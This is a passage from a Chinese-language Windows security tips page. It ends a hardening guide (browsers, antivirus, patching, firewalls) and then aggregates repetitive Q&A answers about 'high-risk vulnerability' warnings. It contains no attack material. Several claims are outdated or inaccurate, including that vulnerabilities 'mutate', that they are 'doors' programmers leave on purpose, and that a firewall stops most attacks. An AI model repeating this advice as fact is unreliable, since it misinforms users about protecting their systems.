然后添加需要的tcp 和UDP端口就可以了~如果对端口不是很了解的话,不要轻易进行过滤,不然可能会导致一些程序无法使用。

19、胡言乱语

(1)、TT浏览器

选择用另外一款浏览器浏览网站.我推荐用TT,使用TT是有道理的。

TT可以识别网页中的脚本,JAVA程序,可以很好的抵御一些恶意的脚本等等,而且TT即使被感染,你删除掉又重新安装一个就是。

MYIE浏览器

是一款非常出色的浏览器,篇幅有险,不做具体介绍了。(建议使用)

(2)、移 动“我的文档”

进入管理器,右击“我的文档”,选择“属性”,在“目标文件夹”选项卡中点“移 动”按钮,选择目标盘后按“确定”即可。在Windows 2003 中“我的文档”已难觅芳踪,桌面、开始等处都看不到了,建议经常使用的朋友做个快捷方式放到桌面上。

(3)、移 动IE临时文件

进入“开始→控制面板→Internet 选项”,在“常规”选项“Internet 文件”栏中点“设置”按钮,在弹出窗体中点“移 动文件夹”按钮,选择目标文件夹后,点“确定”,在弹出对话框中选择“是”,系统会自动重新登录。点本地连接> 高级> 安全日志,把日志的目录更改专门分配日志的目录,不建议是C:再重新分配日志存储值的大小,我是设置了10000KB。

20、避免被恶意代码 木马等攻击

以上主要讲怎样防止黑客的恶意攻击,下面讲避免机器被恶意代码,木马之类的攻击。

其实方法很简单,所以放在最后讲。

我们只需要在系统中安装杀毒软件

如 卡巴基斯,瑞星,金山独霸等

还有防止木马的木马克星和金山的反木马软件(可选)

并且能够及时更新你的定义库,定期给你的系统进行全面杀毒。杀毒务必在安全模式下进行,这样才能有效清除电脑内的以及驻留在系统的非法文件。

还有就是一定要给自己的系统及时的打上补丁,安装最新的升级包。微软的补丁一般会在漏洞发现半个月后发布,而且如果你使用的是中文版的操作系统,那么至少要等一个月的时间才能下到补丁,也就是说这一个月的时间内你的系统因为这个漏洞是很危险的。

本人强烈建议个人用户安装使用防火墙(目前最有效的方式)

例如:天网个人防火墙、诺顿防火墙、瑞星防火墙等等。

因为防火墙具有数据过滤功能,可以有效的过滤掉恶意代码,和阻止DDOS攻击等等。总之如今的防火墙功能强大,连漏洞扫描都有,所以你只要安装防火墙就可以杜绝大多数网络攻击,但是就算是装防火墙也不要以为就万事无忧。因为安全只是相对的,如果哪个邪派高手看上你的机器,防火墙也无济于事。我们只能尽量提高我们的安全系数,尽量把损失减少到最小。

安全意识也很重要,我们平时上网的时候都应该有一个好的安全意识。加上我们的不懈努力,相信我们的网络生活会更美好。

这个是各大黑客网站都推崇的防护措施,你重装后一条条照做,会使机子的状况好很多,我也是这么照着做的,从此金山网镖没有再报过有恶意攻击。

电脑中为什么经常会有高危漏洞?

电脑中为什么经常会有高危漏洞?

这是正常现象,每台电脑都会出现高危漏洞的提示。当出现高位漏洞时,电脑防卫系统会进行提示,进行修复即可。

电脑漏洞的出现实际上就是网路发现了电脑系统的弱点,然后乘虚而入。原理就像人因为劳累或者淋雨等种种原因导致身体虚弱,此时、细菌就会侵入人体。而且电脑的漏洞如同人类的一样都会进行变异。但是不用担心,相应的公司会及时发现这些漏洞,并更新电脑的补丁,帮助消灭这些高危漏洞。

高危漏洞就是指软体本身出现极其严重的漏洞,这些漏洞很容易被、木马、黑客等侵入,导致软体崩溃或者**重要资讯、密码等。

漏洞一般分为以下等级:

1.低阶

2.中级

3.高阶

4.严重

5.高危

其中,高危级漏洞是软体漏洞等级中最危险的一个等级,此类漏洞的意义是:“极易被、木马、黑客等利用。”一般在发现此类漏洞时,软体公司都会在第一时间释出漏洞补丁,以及时防治被“黑”。

1,漏洞是在硬体、软体、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。

2,修复漏洞有2种方法:

第一种,开启我的电脑——控制面板——系统和安全——windows upeda——开启自动更新

第二种方法,使用电脑管家等安全软体,对系统漏洞进行修复,开启电脑管家——工具箱——修复漏洞——检测漏洞,一键修复即可。

我的电脑为什么经常会出现高危漏洞呢,

这是正常的,微软每个月都会发现漏洞并推出相应补丁,软体公司也会在第一时间释出漏洞补丁,以及时防治被“黑”。

在变异,系统如果有高危漏洞的话,木马就会乘虚而入。漏洞就是系统的弊端、弱点。容易被攻击、被攻击者掌握你家电脑的主动权。 有网路就会有,有就会有漏洞,有漏洞就有补丁,有补丁就要修复。

为什么电脑经常提示有高危漏洞

电脑系统随着时间不断升级,防止黑客入侵,系统相容性等需要打升级包,如果你的电脑提示高危漏洞,就是出现比较危险的漏洞,需要下载安装更新包,可以用360漏洞修复,不建议使用系统自带更新。

请尽快下载更新漏洞,防止电脑中毒。

为什么电脑体检会有高危漏洞 但是修复了还是会有高危漏洞

出现这个问题一般有3中可能。

1、使用系统打补丁,补丁没打上或者没生效,重启电脑试试。

2、使用第三方单独软体打补丁,补丁没有生效,重启电脑试试

3、检查是否有还原软体,关闭还原软体

高危漏洞到底是什么东西?电脑上为什么经常会提示有漏洞要补呢?

漏洞是计算机用语。一般软体设计时都留有一定的“门”,程式设计员可以通过这些“门”进入软体修正、改进,使其更完美。高危漏洞就是指软体本身出现极其严重的漏洞,这些漏洞很容易被、木马、黑客等侵入,导致软体崩溃或者**重要资讯、密码等。 编辑本段漏洞的分级和所表示的意义 漏洞一般分为以下等级: 1.低阶 2.中级 3.高阶 4.严重 5.高危 其中,高危级漏洞是软体漏洞等级中最危险的一个等级,此类漏洞的意义是:“极易被、木马、黑客等利用。”一般在发现此类漏洞时,软体公司都会在第一时间释出漏洞补丁,以及时防治被“黑”。

为什么电脑会常出现高危漏洞?

高危漏洞是微软对最近时期软体以及经过工程师测试发现的软体缺陷进行修复并且防止黑客以及的入侵

记得纳啊

就是在使用电脑过成中发现的已知的由于当初系统开发设计不完善可能会被,黑客利用的缺陷

刚刚买的电脑什么会有高危漏洞

正常,漏洞是指系统的漏洞,与电脑硬体没有关系的,你刚买的电脑给你装的系统又不是最新的,你只要联上网打上系统漏洞补丁就好啦。

电脑怎么老有高危漏洞?

电脑上的漏洞,一般都会被黑客利用,来攻击你的系统,另外修复系统的某些漏洞还可以提高系统的一些效能,360安全卫士的漏洞修复还是非常方便及时的,一般在提示漏洞修复的时候,要是严重的,或者紧急的漏洞建议及时修复,其余的漏洞,你可以看漏洞的描述,选择修复就行了。

我看很多单位电脑用的还是XP系统,岂不是很容易受黑客攻击?

您好,xp系统只是微软官方不再支持系统补丁更新,但某些安全软件还在继续为一些xp热衷者们提供补丁更新,所以,在某种程度上来说xp系统现在还并不是赤裸裸的等待攻击。也是有一些抵挡能力的。还有,现在ghost系统也很方便,高配电脑基本半小时左右就可以安装好xp系统和专业类的应用软件。